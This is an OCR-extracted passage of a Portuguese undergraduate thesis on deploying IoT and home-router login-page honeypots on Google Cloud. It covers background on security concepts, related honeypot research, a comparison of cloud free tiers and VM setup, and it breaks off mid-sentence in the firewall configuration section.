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Resumo

Com a expansao de dispositivos IoT (do acrénimo em inglés para Internet of Things) co-
nectados a Internet, houve um crescimento substancial da superficie de ataque. A exposi-
¢ao de dados por esses dispositivos acarreta na estimulagao de novos ataques e exploragoes
criminosas. Além disso, esses sistemas podem ser usados como bots para realizar ataques
de DDoS, XSS, entre outros. Com isso em mente, destaca-se a necessidade de compreen-
der as ac¢oes dos atacantes e, assim, ser capaz de desenvolver ferramentas ou metodologias
que previnam tais incidentes. Diante disso, o principal objetivo do presente trabalho é a
construcao de uma infraestrutura de maquinas virtuais em nuvem capaz de suportar a
execucao de diversos experimentos relacionados ao Honeypots focados em dispositivos per-
tencentes a Internet das Coisas. Como forma de validar a arquitetura proposta, realizou-se
um experimento que consistiu em emular interfaces de login de diferentes dispositivos. No
total, foram emuladas interfaces de 6 sistemas, sao eles 4 roteadores domésticos, 1 Fi-
rewall e 1 sistema de monitoramento de infraestruturas computacionais. Além disso, para
cada interface criada, 2 instancias de maquinas virtuais foram inicializadas no Google
Cloud Plataform, somando um total de 12 instancias de maquinas virtuais espalhadas em
diversos lugares do mundo. O experimento durou 15 dias e os resultados obtidos com-
provaram a efetividade da infraestrutura. Além disso, os resultados preliminares indicam
que os invasores nao estavam interessados em acessar o sistema por meio dos campos de
login, mas, os que assim fizeram, inseriram credenciais padroes, por exemplo, a palavra
admim no usudrio e também na senha. Ademais, pdde-se constatar muitas manipulagoes
da URL, com tentativas de ataque XSS, acesso as paginas de administracao de servigos
como MySQL e PHP, além de ataques direcionados aos roteadores e dispositivos [oT

como, por exemplo, a botnet Mozi.

Palavras-chave: Honeypots, Ataques Cibernéticos, Seguranca da Informagao, Nuvem

Publica, Roteadores Domésticos, IoT.
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1 Introducao

Devido ao aumento do niimero de ataques cibernéticos nos ultimos anos em todo
o mundo, fez-se necessario o desenvolvimento de metodologias e softwares capazes de
minimizar os potenciais danos causados por eles (CISCO, 2021). Para que esses recursos
sejam eficazes, o estudo e a analise minuciosa dos passos, das ferramentas e dos métodos

utilizados em um ataque cibernético, torna-se fundamental.

Em virtude disso, surgem os Honeypots, que sao sistemas criados propositalmente
com vulnerabilidades, de forma a atrair os atacantes. Além disso, esses sistemas sao vas-
tamente utilizados para desviar o foco de um atacante, com fim de proteger o sistema
principal, mas pode ser utilizado também para fins de pesquisa e desenvolvimento de no-
vas ferramentas e métodos de defesa. Os Honeypots podem ser divididos em trés classes,
tendo como pardmetro o grau de interatividade. Essas classes sdo baixa interagao, média
interacdo e alta interagao, (KELLY et al., 2021).

Existem Honeypots focados em determinados servigos e protocolos, entre eles estao
aqueles voltados para dispositivos IoT (do acrénimo em inglés para Internet of Things).
Tais dispositivos sdo conectados a Internet e equipados com sensores, software e outras
tecnologias para transmitir e receber dados com a finalidade de informar os usuérios ou
automatizar uma agao (SAP, 2023). Porém, a forma como esses dispositivos devem ser
expostos na Internet nao é algo trivial devido a complexidade da sua implantagao. Nesse
sentido, o uso de Computacao em Nuvem contribui para a viabilizacao de tal tarefa, pois
permite que os dispositivos sejam expostos em varios lugares do mundo, com diferentes
IPs e com o beneficio da escalabilidade e da plataforma unificada. Essas caracteristicas
auxiliam na administracao das instancias, no entanto, hé alguns desafios a se atentar, entre
eles estao a definicao adequada dos recursos de cada maquina virtual, as configuragoes de

rede para expor os Honeypots e a forma como os logs serao coletados.

Dessa forma, pode-se afirmar que os Honeypots sao relevantes para a seguranga
da informacao, pois além de propiciar novos conhecimentos por meio da analise de seus
logs, também podem agir como uma forma de protecao extra para o sistema principal
(ANIRUDH; THILEEBAN; NALLATHAMBI, 2017). Para mais, o uso de computagao
em nuvem neste contexto viabiliza uma grande expansao dos objetos de estudo e, conse-
cutivamente, o aumento do impacto gerado por meio dos resultados de trabalhos como
este. Considerando a relevancia dos Honeypots e a expansao do [oT, a ideia geral deste
trabalho envolve o desenvolvimento de uma infraestrutura para permitir que Honeypots
[oT sejam executados em nuvens publicas. Além disso, este trabalho marca o inicio de

uma série de pesquisas dentro da Faculdade de Computacao da Universidade Federal de
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Uberlandia, que darao énfase na utilizacdo de Honeypots e computacdo em nuvem para

contribuir com a comunidade cientifica e seu arcabougo.

1.1 Objetivos

1.1.1 Objetivo Geral

O objetivo geral deste trabalho é construir uma infraestrutura de Honeypots 10T,

com foco em roteadores domésticos, utilizando computagao em nuvem.

1.1.2  Objetivos Especificos

Os objetivos especificos incluem:

o Estudar os servicos e recursos de computacao em nuvem disponiveis;

o Realizar um levantamento dos requisitos necessarios para construir uma infraestru-

tura de maquinas virtuais em nuvem publica;

o Subir e configurar corretamente um conjunto de instancias de maquinas virtuais em

nuvem,;

o Emular interfaces de roteadores domésticos para avaliar a efetividade da infraestru-

tura criada;

o Conduzir um experimento para para validar a infraestrutura criada.

1.2 Organizacdo da Monografia

A presente pesquisa tem seus capitulos ordenados da seguinte maneira: O Capitulo
2 versa uma revisao bibliografica que fundamenta a teoria utilizada para o desenvolvi-
mento deste trabalho. E feita uma apresentacio sobre Seguranca da Informacio, Ataques
Cibernéticos, Honeypots, Computacao em Nuvem, Internet das Coisas, Roteadores, Vir-
tualizacdo e Maquinas Virtuais, além dos trabalhos correlatos. O Capitulo 3 caracteriza
as etapas do desenvolvimento de forma sistematizada evidenciando a Escolha do Prove-
dor de Nuvem Ptblica, o Levantamento das Maquinas Virtuais, a Instalagao dos Recursos
Necessarios, o Script para coleta e persisténcia de dados e a Emulacao de dispositivos IoT.
O Capitulo 4 discorre sobre os resultados obtidos no decorrer da pesquisa, sao descritos
o Experimento e a Extracao e a Analise dos Logs. Para concluir, o Capitulo 5 apresenta
as consideragoes feitas a partir dos resultados obtidos com a execuc¢ao do experimento, e

aborda sobre a relevancia dos objetos de estudo para trabalhos futuros.
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2 Revisao Bibliografica

Neste capitulo, serao tratados os conceitos necessarios para uma melhor compre-

encao deste trabalho e uma breve discussao sobre os trabalhos correlatos.

2.1 Fundamentacao Tedrica

2.1.1 Seguranca da Informacao

Inicialmente, serda destacado o conceito dado para Seguranga da Informagao se-
gundo a SANS Institute, empresa especializada na drea (INSTITUTE, 2020). Ela aponta
a importancia das técnicas direcionadas para a protecao de “informagoes impressas, eletro-
nicas ou qualquer outra forma de informagoes ou dados confidenciais, privados e sensiveis
contra acesso nao autorizado, uso, uso indevido, divulgagao, destruicao, modificacao ou
interrupc¢ao.”. Com isso, esta mesma empresa define que os “processos e metodologias”
que sao elaborados e executados para essa protecao se estabelecem como Seguranca da

Informacao.

Além disso, segundo o Stallings (2014), hé trés conceitos que sdo os principais
pilares para a seguranca da informacao. Essas defini¢oes sao o de confidencialidade, in-
tegridade e disponibilidade, conhecidos como triade CIA (do acrénimo em inglés para
confidentiality, integrity and availability). Ainda segundo o Stallings (2014), esses concei-

tos podem ser definidos como:

« Confidencialidade: manter limitacdes em relagao ao acesso e a divulgacao de infor-
macoes, inclusive por meio de mecanismos para garantir a privacidade de individuos
e dados pessoais. Uma situacao hipotética em que esse principio é quebrado se da,
por exemplo, quando um atacante invade um banco de dados e torna publico infor-

magoes sensiveis/pessoais de clientes de uma determinada empresa;

» Integridade: proteger-se contra alteracdes ou destruicoes inadequadas de informa-
¢oes, assegurando sua irretratabilidade e autenticidade. Um exemplo de quebra deste
principio seria um funcionério acessar o sistema de ponto eletronico da empresa e

alterar as informagoes referentes a quantidade de horas trabalhadas;

« Disponibilidade: assegurar acesso e uso rapido e confiavel da informacao por usua-
rios ou sistemas autorizados. O ataque DoS (do acrénimo em inglés para Denial of
Service) é um classico exemplo da quebra deste principio, em que ocorre a indispo-

nibilidade de um recurso ou servico.
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Autores, como, (STALLINGS, 2014) apresentam conceitos adicionais com o obje-
tivo aprimorar a abrangéncia da definicdo de seguranca da informacao. Entre eles estao

0s seguintes:

« Autenticidade: consiste em validar se uma transmissao, mensagem ou origem da
mensagem ¢é genuina, confiavel e passivel de verificacdo. Ou seja, verificar que os

usuarios sao quem dizem ser;

» Responsabilizagao: refere-se a possibilidade de que agdes de uma entidade sejam atri-
buidas exclusivamente a ela. A pratica desse conceito prové uma série de beneficios,
como isolamento de falhas, deteccao e prevencao de intrusao, além de recuperagao
pés-agao e agoes legais (STALLINGS, 2014);

« Nao-repudio: trata-se da garantia de que o emissor ou o receptor neguem uma men-
sagem transmitida. Logo, quando uma mensagem ¢ enviada, o receptor pode provar
que o emissor de fato a enviou. Semelhantemente, quando uma mensagem é recebida,

o emissor pode provar que o receptor de fato a recebeu (STALLINGS, 2014).

2.1.2 Ataques Cibernéticos

Ataques sao agoes que visam prejudicar um sistema ou interferir em suas operagoes
habituais, aproveitando vulnerabilidades por meio de diversas ferramentas e técnicas. Os
invasores empregam tais ataques para alcancar seus objetivos maliciosos, seja em busca de
ganho financeiro, auto contentamento ou até mesmo por motivos politicos (HUMAYUN

et al., 2020).

Os ataques podem ser classificados em dois grupos, ataques direcionados e ata-
ques nao direcionados. Nos ataques direcionados o invasor concentra sua atengdo em uma
organizacao especifica, muitas vezes sendo motivado por objetivos particulares ou sendo
contratado para visar essa organizacao em particular. A preparacao de um ataque direcio-
nado pode requerer um extenso periodo de tempo para identificar a abordagem mais eficaz
na exploracao do sistema, o que implica em ameacgas mais substanciais em comparacao
com os nao direcionados, uma vez que sao cuidadosamente planejados para fins especifi-
cos. Ja nos ataques nao direcionados, o invasor tem como objetivo uma ampla quantidade

de dispositivos ou usudrios, explorando de forma geral dados expostos na Internet.

Alguns dos ataques mais comuns sao:

o Botnets: neste ataque, a finalidade principal é interromper o processo regular do
sistema e obter ganhos através disso. Em geral, o invasor corrompe diversos dispo-
sitivos computacionais injetando um malware e tomando o controle do sistema. A

partir disso, os invasores podem realizar ataques no sistema alvo sem que o usudrio

saiba (SUDAR et al., 2020);
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« Ataques DoS e DDoS: os ataques de negagao de servico DoS (do acronimo em
inglés para Denial of Service) e negacao de servigo distribuido DDoS (do acrénimo
em inglés para Distributed Denial of Service) consistem em prejudicar o acesso de
usuarios a recursos disponiveis. Um dos mecanismos utilizados é a ocupacao do
servico com requisi¢oes falsas para que assim as requisi¢oes legitimas nao sejam
respondidas. No DoS os ataques partem de uma tunica fonte, ja no DDoS, eles sao
gerados a partir de varias fontes desconhecidas ou sem suspeitas, geralmente através
de botnets (SUDAR et al., 2020);

« Ataque de injecao SQL: esse ataque explora vulnerabilidades na aplicacdo web com
a intencao de extrair, modificar ou excluir informagoes restritas do banco de dados
do alvo através de instrugoes SQL (SUDAR et al., 2020);

o (Cross-site scripting: também conhecido como ataque XSS, tem como objetivo roubar
dados confidenciais do alvo explorando vulnerabilidades através da execucao de
c6digos JavaScript no navegador (HUMAYUN et al., 2020).

2.1.3 Honeypots

Os Honeypots sao sistemas capazes de simular vulnerabilidades de seguranca e, com
isso, ficarem facilmente expostos a ataques. Um de seus objetivos é auxiliar na analise do
comportamento dos atacantes, bem como das ferramentas e técnicas utilizadas durante
os ataques. Essa conduta apresentada ¢é utilizada por pesquisadores, mas é importante
ressaltar que também existe uma abordagem para implementagao em producao, em que
sua principal atribuicdo é atrair os atacantes para si, de forma que o foco seja desviado

dos sistemas reais da organizac¢ao que a utiliza (KELLY et al., 2021).

Ademais, os Honeypots podem ser categorizados com base no grau de interativi-
dade entre o sistema e o atacante. Os graus sdo de baixa, média e de alta interatividade,
que serao apresentados ordenadamente. Os de baixa interatividade simulam servigos e
suportam alguns protocolos, com o funcionamento basico de um sistema operacional real,
porém nao permitem que o atacante tenha contato com recursos mais avangados. Os de
média interatividade possuem mais caracteristicas de um sistema real em relagdo ao de
baixa interatividade, sendo capazes de baixar malwares, por exemplo. Ja os de alta in-
teratividade, sao compostos por sistemas reais e, em geral, possuem arquitetura préxima
ao da organizacao. Quanto maior a interatividade, maior é a complexidade da implemen-
tacao e maior é o detalhamento das informacoes coletadas. Se tratando de Honeypots de
alta interatividade, geralmente deve-se implementar ferramentas capazes de protegé-los e

isola-los do sistema principal.
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2.1.4 Virtualizacao e Maquinas Virtuais

A Virtualizagdo é uma camada de software que possibilita a execucao de diferen-
tes programas/méquinas virtuais de forma isolada e independente, como se estivesse em
uma maquina fisica. As maquinas virtuais utilizam dos recursos providos pela maquina

hospedeira, assim, ela ganha poder computacional.

O ambiente de maquina virtual é composto por trés partes: sistema real ou sistema
nativo, que possui os recursos reais de hardware e software; sistema virtual, que é execu-

tado sobre o sistema real; e a camada de virtualizacao ou hypervisor, que implementa as

interfaces virtuais a partir da interface real (LAUREANO; MAZIERO, 2008).

2.1.5 Computacdao em Nuvem

A palavra “nuvem” é uma metéafora para infraestrutura de comunicacao ou Inter-
net. A computagao em nuvem se refere a disponibilizacao e utilizacao dessa infraestrutura
para diversos fins computacionais em que os recursos, em geral, sao providos por grandes
empresas, por exemplo, Amazon, Microsoft e Google. Com o uso dela, as maquinas dos
usuarios nao necessitam de um alto poder computacional, o que ocasiona em uma grande
economia em relagdo aos gastos com equipamentos. O principal objetivo da computagao
em nuvem ¢ fornecer servigos que tenham o acesso simplificado, de baixo custo e com
capacidade de prover aos usudrios disponibilidade e escalabilidade (SOUSA; MOREIRA;
MACHADO, 2009).

H& quatro abordagens que geralmente sao utilizadas quando se trata de computa-
¢ao em nuvem: nuvem publica, que compartilha seus recursos e oferece servigos de acesso
publico pela Internet em geral; nuvem privada, que opera de forma isolada e disponibiliza
servigos em uma rede interna privada, muitas vezes localmente hospedada; nuvem hibrida,
onde os servicos sao compartilhados entre nuvens ptblicas e privadas, conforme a neces-
sidade e finalidade especifica; nuvem de comunidade que permite o compartilhamento de
recursos exclusivamente entre organizagoes, como instituigdes governamentais (AZURE,

2023). A abordagem utilizada neste trabalho foi a de nuvem publica.

2.1.6 Internet das Coisas

A Internet das Coisas, também chamada de IoT, refere-se a uma rede composta por
diversos dispositivos em que sao incorporados sensores, software e outras tecnologias com
a finalidade de conectar e trocar dados com outros dispositivos e sistemas pela Internet.
Esses dispositivos variam desde objetos domésticos comuns, como geladeiras, lampadas e

tomadas, até maquinas industriais complexas e sistemas de transporte (ORACLE, 2023).

O uso do [oT esta cada vez mais difundido nas organizagoes de variados setores.

Isso se da pela vasta lista de beneficios que ele agrega, como oferecer melhor atendimento
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ao cliente, melhorar a tomada de decistes e aumentar o valor do negécio. Porém, com
o crescimento exponencial do nimero de dispositivos IoT, ha também o aumento do
compartilhamento de informacoes e, consequentemente, o crescimento da superficie de
ataque (GILLIS, 2023).

A partir do que foi exposto no paragrafo anterior, é necessario preocupar-se com
os possiveis problemas de seguranca e privacidade da IoT (GILLIS, 2023). Um exemplo
de ataque a dispositivos IoT que ganhou notoriedade foi o botnet Mirai. Esse ataque
conseguiu explorar a rede da provedora de servigos de registro de dominio, Dyn, em 2016,
utilizando-se de dispositivos IoT mal protegidos. Fato que resultou em um dos maiores
ataques de DDoS ja vistos, causando grandes interrup¢oes e por longos periodos de tempo
(CLOUDFLARE, 2023).

2.1.7 Roteadores

Roteadores sao dispositivos que orientam e distribuem os dados pela rede, que sao
enviados e recebidos através de pacotes contendo diversas informacgoes, como identificacao
do remetente, tipo dos dados, endereco IP de destino, entre outras. Assim que o roteador
obtém essas informacoes, ele prioriza e escolhe a melhor rota a ser usada para cada

transmissao.

Esses dispositivos sao essenciais para a viabilizacao da Internet, pois sem eles nao
seria possivel a sua utilizagao para meios de comunicagao, coleta de informacoes, estudo e
sequer para trabalho em equipe. Além disso, roteadores possuem outras funcionalidades,
como filtragem de contetido indesejado e servidores de compartilhamento de arquivos e
de impressoras, o que possibilita que os usudrios ativos na rede tenham acesso a esses

recursos.

Segundo a Cisco (2023), existem diferentes tipos de roteadores, esses sdo:

« Roteador de niicleo: comumente utilizado por provedores de servigo ou provedores de

nuvem para interligar outros roteadores e switches. Possuem alta largura de banda;

« Roteador de borda: também conhecido como roteador de gateway ou gateway, é o
ponto de conexao mais periférico da rede com as redes externas, incluindo a Internet.
Esses roteadores se conectam a outros roteadores para fornecer dados aos usuarios
finais, porém, em geral, nao possuem Wi-Fi, contendo apenas portas Ethernet para

se conectar a Internet e a outros roteadores;

o Roteador de distribuicao: também conhecido como roteador interno, é responsavel
por receber os dados do roteador de borda por meio de uma conexao com fio e os
transmite para os usuarios finais através do Wi-Fi. Também inclui portas Ethernet

para se conectar a outros roteadores;
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« Roteador sem fio: também conhecido como gateway residencial, é a juncao das fun-
cionalidades dos roteadores de borda com as funcionalidades dos roteadores de dis-

tribuicao e sao vastamente utilizados para redes domésticas e acesso a Internet;

» Roteador virtual: oferece flexibilidade, escalabilidade e menor custo inicial utilizando-
se de softwares que permitem a virtualizacao de fungoes do roteador na nuvem, sendo
fornecidas como um servico. Dessa forma, o gerenciamento do hardware de rede local

é simplificado.

2.2 Trabalhos Correlatos

Nesta se¢ao sera apresentada uma compilagao de estudos que tratam da aplicagao
de Honeypots conhecidos e amplamente utilizados, Honeypots direcionados para IoT e

emulagoes de roteadores.

O trabalho de Brown et al. (2012), tragou um perfil dos ataques e atacantes atra-
vés de Honeypots implementados em diferentes provedores de nuvem ptblica, como IBM
Smartcloud, Amazon Web Services (AWS) e Microsoft Azure. Este estudo implantou os
seguintes Honeypots: o Dionaea, Honeypot de baixa interatividade que simula o sistema
operacional Windows 2000 que, por sua vez, possui diversas vulnerabilidades, o Kippo,
Honeypot de média interatividade, que simula comandos Linux em um shell, o Amun,
Honeypot de baixa interatividade, que é destinado a captura de Worms, o Artilharia, Ho-
neypot de baixa interatividade que, entre outras fungoes, detecta tentativas de conexao
e ataques de forca bruta, e, por fim, o Glastopf, Honeypot de baixa interatividade que

simula vulnerabilidades de um servidor web como, por exemplo, o SQL Injection.

Os resultados mostraram que, em sua maioria, os ataques eram provenientes dos
Estados Unidos e China, e os servigos mais atacados eram os de SSH e HT'TP. Além disso,
dentre os Honeypots utilizados, o Dionaea e o Kippo apresentaram um conjunto maior de

dados, significando uma eficiéncia mais significativa para a andlise.

Por outro lado, no trabalho do Lihet e Dadarlat (2018), foram coletados e anali-
sados dados do Honeypot de média interacao Kippo, que possui como principal objetivo
atrair ataques de for¢a bruta por meio do servigo de SSH. O sistema do Honeypot atuali-
zava as senhas ao longo do tempo, selecionando das mais simples até as mais complexas. O
Kippo foi hospedado na nuvem durante 5 anos em diferentes regides. Além da analise das
informagoes, o artigo traz o estado da ciberseguranca de maneira geral em cada um dos
anos, no periodo entre 2014 e 2018. Esse trabalho aborda uma anéalise da quantidade de
tentativas de ataques, a quantidade de ataques bem sucedidos e o tempo que os atacantes
gastaram dentro do Honeypot. Os valores citados foram comparados com a complexidade

das senhas escolhidas pelo sistema.
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O trabalho correlato do autor Kelly et al. (2021), realizou um comparativo en-
volvendo os Honeypots nos principais provedores de nuvem publica, como, Amazon Web
Services (AWS), Google Cloud Platform (GCP) e Microsoft Azure. Essas comparagoes
se deram variando os provedores, os Honeypots, e as regioes onde foram alocados. Com
o estudo, foi possivel identificar um comportamento heterogéneo considerando o volume
dos ataques, a origem deles e os servigos explorados. Com os resultados, pode-se observar
que os atacantes focaram em servigos e ferramentas geralmente utilizadas em trabalho
remoto, por exemplo, para o compartilhamento remoto da area de trabalho. Também,
diversos ataques tiveram, como saida, IPs de paises, como Vietna, India e Venezuela, o

que nao era tao comum em relatos anteriores.

Tratando-se de Honeypots voltados para 0T, o trabalho de Razali et al. (2018)
trouxe uma perspectiva geral de pesquisas selecionadas que se ocuparam com o tema.
Dentre eles o trabalho de Guarnizo et al. (2017), detalha a implementagao de uma arqui-
tetura em que dispositivos [oT reais foram utilizados e conectados a Internet por meio
dos chamados wormholes. O resultado dessa arquitetura permitiu expor poucos dispo-
sitivos fisicos em um grande ntmero de enderecos IP distribuidos geograficamente. Os
dispositivos utilizados no experimento foram cinco cameras IP, um NVR (do acronimo
em inglés para Network Video Recorde) - sistema responsédvel pela gravacao de video - e

uma impressora IP.

No total, utilizando a arquitetura desenvolvida, foram gerados 85 dispositivos IoT
expostos na Internet. Alguns resultados obtidos por meio da analise do trafego capturado
mostraram que algumas cidades atrairam significativamente mais trafego do que outras.
Como resultado, houve diversas tentativas de login em portas Telnet e SSH, algumas
das quais usaram credenciais encontradas no malware Mirai e cerca de 400 tentativas de

ataques de forca bruta. A arquitetura criada esta representada na Figura 1 e Figura 2.

Buracos de minhoca
Armazenar & e D AR g

Unidade de Analise!

Atacante

Internet

Despachante

Figura 1 — Visao geral do Honeypot SIPHON. Fonte: adaptada de Guarnizo et al. (2017)

No trabalho de Semié¢ e Mrdovic (2017), foi implementado um Honeypot de baixa
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Figura 2 — Arquitetura do Honeypot SIPHON. Fonte: adaptada de Guarnizo et al. (2017)

interacao para fins de pesquisa, em que sua principal acao é capturar o trafego de ata-
ques manuais e Mirai, reporta-los e armazena-los para posterior andlise. Nesse sentido, foi
desenvolvido um front-end utilizando Node.js capaz de interagir com o atacante e um back-
end em Python que recebe dados criptografados capturados do front-end, descriptografa-
os, transforma-os em formato legivel, reporta-os ao usuario e armazena-os. Para validar a
infraestrutura montada, os autores simularam o ataque Mirai utilizando maquinas virtu-
ais. Com isso, foi possivel obter detalhes do seu funcionamento. A arquitetura desenvolvida

nesse trabalho estd ilustrada na Figura 3.

Outro trabalho correlato a este é o de Wang, Santillan e Kuipers (2018), que
propos e implantou um Honeypot IoT de média interagao, chamado ThingPot, que simula
uma plataforma IoT completa em vez de um tnico protocolo de comunicacao na camada
de aplicacao. Ele foi projetado para simular o front-end, o back-end, os dispositivos IoT
e os servicos XMPP/MQTT, compondo, assim, uma plataforma IoT interativa. Para
validar a infraestrutura criada, um caso de uso com a lampada inteligente Philips Hue foi
realizado. Com analises posteriores dos logs gerados, notou-se que houve poucas atividades
de invasores na parte XMPP e em geral, os invasores procuraram dispositivos como Philips
Hue, Belkin Wemo, TPlink, entre outros. Em particular, eles estao interessados em obter
informagoes sobre os dispositivos inteligentes e assumir o controle deles. A arquitetura do

ThingPot esta ilustrada na Figura 4 e Figura 5.

Sobre os trabalhos referentes a roteadores, a maioria emulou o sistema com dife-
rentes propositos. No trabalho do Chen et al. (2016) e do Kim et al. (2020), por exemplo,
o objetivo principal foi identificar vulnerabilidades por meio da emulagao dos firmwares
dos dispositivos. Nesses dois trabalhos foram realizados uma alta quantidade de testes de

firmwares, identificando possiveis vulnerabilidades em produtos de diferentes fabricantes
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Figura 3 — Arquitetura do Honeypot IoTHoneypot. Fonte: adaptada de Semi¢ e Mrdovic
(2017)
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Figura 4 — Arquitetura do Honeypot ThingPot. Fonte: adaptada de Wang, Santillan e
Kuipers (2018)

de roteadores. Ja no trabalho de Chen et al. (2016), foi criado uma aplicagdo chamada
FIRMADYNE para a realizacao dessas emulagdes. Alguns dos resultados obtidos mos-
traram seis tipos de vulnerabilidades, estas sao: Command Injection, Buffer Ouverflow,

Information Disclosure, Sercomm Configuration Dump, MiniUPnPd Denial of Service e
OpenSSL ChangeCipherSpec.
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Figura 5 — Caminhos de ataque no Honeypot ThingPot. Fonte: adaptada de Wang, San-
tillan e Kuipers (2018)

Ja no experimento de Kim et al. (2020) foi criada uma aplicacdo chamada de
FirmAE, que é, basicamente, uma melhoria do trabalho apresentado no estudo do Chen et
al. (2016), incluindo uma automagao capaz de corrigir possiveis erros na emulagao. Como
resultados obtidos, o FirmAE aumentou a taxa de emulacao do textitframework em 487%
e encontrou 23 vulnerabilidades exclusivas, incluindo 12 de dia-zero. A arquitetura dos

emuladores FIRMADYNE e FirmAE estao respectivamente ilustradas na Figura 6 e 7.
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Verificagdo de Rede Acessivel Identificacdo
Exploragdo daRede

NOS DE EMULADOR

Figura 6 — Arquitetura do emulador FIRMADYNE. Fonte: adaptada de Chen et al. (2016)

Em resumo, ha diversos estudos que tratam sobre Honeypots ja consagrados no
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Figura 7 — Arquitetura do emulador FirmAE. Fonte: adaptada de Kim et al. (2020)

meio académico implantados em uma infraestrutura em nuvem, porém, nao sado Honey-
pots focados em IoT. Por outro lado, os trabalhos relacionados a [oT, com exce¢ao de
(GUARNIZO et al., 2017), nao utilizaram diretamente recursos de computagdo em nu-
vem para executarem os experimentos. No que se refere a roteadores, a maior parte dos
estudos encontrados nao faziam referéncia direta a Honeypots, mas analisaram questoes

importantes sobre seguranca e emulagao desses dispositivos.

Sendo assim, o presente trabalho unifica os trés temas tratados acima: Honeypots
com infraestrutura em nuvem piblica, Honeypots voltados para IoT e emulagao de inter-
faces de roteadores domésticos. Destaca-se o uso de nuvem publica que, nesse contexto,
apresenta varios beneficios, por exemplo, escalabilidade, hospedagem de multiplas instan-
cias em diversos paises do mundo, administracao unificada dos Honeypots, entre outros,

o que aumenta significativamente as possibilidades de objetos e areas de estudos futuros.
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3 Desenvolvimento

Neste capitulo serao detalhados os desenvolvimentos do presente trabalho, para
isso, as etapas da criagdo da infraestrutura de Honeypots em nuvem serao apresentadas.
A Figura 8 ilustra a sequéncia desse processo, que serd delineado nas Segoes 3.1, 3.2, 3.3,
3.4, 3.5 e 3.6. Além disso, os recursos elaborados para a pesquisa foram adicionados a um

repositério?.

( ™~
Escolha do )
_| Instalagdo de
Provedor de > B
Nuvem Publica
J
L Y
(" i s . ~
Levantamento Script para
de Requisitos Manipular os
3 Dados
J/ \_ )
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u (= =
Preﬁgragao das Emulacéo de
aquinas : AC
i i Dispositivos 1oT
Virtuais
\_ ) o )

Figura 8 — Etapas do método adotado no presente trabalho

3.1 Escolha do Provedor de Nuvem Publica

A metodologia utilizada na presente pesquisa iniciou-se com a escolha do prove-
dor de nuvem publica que mais se adequou as necessidades especificas da pesquisa. Foi
realizado um levantamento dos principais recursos disponibilizados nos testes gratuitos
dos provedores mais conhecidos, que sao: Amazon Web Service, Microsoft Azure, Google
Cloud e Oracle Cloud. Esses dados foram inseridos em uma tabela para analise posterior.

As informacgoes podem ser consultadas na Tabela 1.

Pdde-se notar que os recursos oferecidos por cada provedor seguem um padrao
em que hé uma quantidade de créditos para serem gastos em um determinado intervalo
de tempo. Caso um dos dois critérios seja alcancado, os recursos sao excluidos ou inicia-

se o processo de cobranca com base no uso. Outro ponto analisado foi a limitacao de

L Disponfvel em: https://github.com/lucasgmendes /scripts-tcc



Capitulo 3.

Desenvolvimento

25

, Tempo para P
Provedor Nul‘rner:o de Crédito Consumir S.Os LimitagGes
Maquinas P Importantes
os Créditos
Limite de armazenamento
Oracle - Oracle Linux; de 200GB.Cada maquina
Até 6. 300 délares. 30 dias - Ubuntu; deve ter no minimo 50GB,
Cloud . (.
- CentOS. logo, o limite méximo de
instancias cai para 4;
- CentOS;
- Debian;
, - Fedora
Google . 300 délares . - Red Hat Sem limitagoes relevantes
Indeterminado. | + bonus para 90 dias . .
Cloud Enterprise para a pesquisa.
estudante.
- Ubuntu
- Ubuntu Pro
- Windows Server
- Amazon Linux;
- Ubuntu; A
. Apenas instancias com 1
12 meses - Windows Server; ou 2 vCPUs. 1GB de
AWS Indeterminado. | Indeterminado. | (750 horas - Red Hat Linux; v o
. . RAM e 5GB de
por més) - SUSE Linux
armagzenamento.
Server;
- Debian.
- CentOS;
- Red Hat
Enterprise;
. , i . - SQL Server on Apenas instancias com 1
Azure Indeterminado. | 200 délares. 30 dias Ubuntu Server: vCPUs 6 1GB de RAM.
- Ubuntu;
- SUSE Linux
Enterprise.

Tabela 1 — Recursos disponiveis nos testes gratuitos de provedores de nuvem publica

processamento das maquinas, sendo, em geral, apenas 1 vCPU e 1GB de RAM, com
excecao do Google Cloud, que disponibiliza recursos mais poderosos ja em seu periodo de

teste gratuito.

Como o objetivo do atual trabalho é focado na construcao de uma infraestrutura
capaz de viabilizar pesquisas e experimentacoes com diferentes caracteristicas, dentre os
provedores analisados, a Google Cloud Platform foi o que mais se destacou. Ele oferece
um periodo de teste gratuito de 90 dias, um valor disponivel para utilizacao, que é de 200
dolares, mais 100 dolares extras por se tratar de uma conta universitaria, disponibilidade
de diversos Sistemas Operacionais e, principalmente, a possibilidade de criar instancias

com mais vCPUs, memoria e armazenamento.

3.2 Levantamento de Requisitos

Apés a defini¢ado do provedor de nuvem prblica, iniciou-se o processo de exploragao

das ferramentas, recursos e configuracoes disponiveis na plataforma. Para tanto, foram
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realizados experimentos com diversos Honeypots, dentre eles, o Cowrie?, Dionaea® e até

mesmo um framework de Honeypots chamado T-Pot?.

Todos os experimentos realizados nesta etapa utilizaram instancias de maquinas
virtuais no Google Cloud com diferentes configuracoes de processamento, armazenamento
e rede. Ao final, foram feitas andalises dos dados gerados e os resultados mostraram uma
grande quantidade de acessos. O T-Pot, por exemplo, atraiu cerca de 100 mil acessos por
dia, considerando 10 Honeypots ativos. Esse framework destaca-se, pois implementa 23
Honeypots utilizando Docker, plataforma que auxilia na administracao de containers, de
forma distribuida e ja integrada com ferramentas de analise de redes, andlise de logs, e

geracao de gréaficos, entre outras ferramentas que auxiliam na visualizacdo dos dados.

A partir desses experimentos iniciais, foi possivel mensurar diversos parametros im-
portantes para o bom funcionamento da infraestrutura, como, os recursos necessarios das
instancias de maquinas virtuais, a forma como os logs poderiam ser coletados e configura-
¢oes relacionadas a rede, por exemplo, configuragoes de Firewall e exposicdo de servigos
para a Internet. Apds essa etapa exploratoria da plataforma, definiu-se um modelo base

para iniciar o experimento. Tal modelo esta descrito na Tabela 2.

Tipo S.0. vCPU | Memodria | Armazenamento
e2-small | Ubuntu 20.04 | 0.5 -2 2GB 10GB

Tabela 2 — Definicao de Recursos para as Maquinas Virtuais

3.3 Preparacao das Maquinas Virtuais

Com os pré-requisitos bem definidos, foi possivel dar inicio a criacao das Maqui-
nas Virtuais. Para tanto, um novo projeto foi criado no Google Cloud Platform com o
nome Honeypots e foi adicionado o Compute Engine API, que é a API responsavel pelo
processo de criacao e administracdo das maquinas virtuais. A etapa seguinte foi a configu-
racao detalhada das instancias e a definicao de localizagao, sistema operacional, e demais

requisitos presentes na Tabela 2 e exemplificadas nas Figuras 9 e 10.

Nas configuragoes referentes a Firewall, foram permitidos os trafegos que utilizam
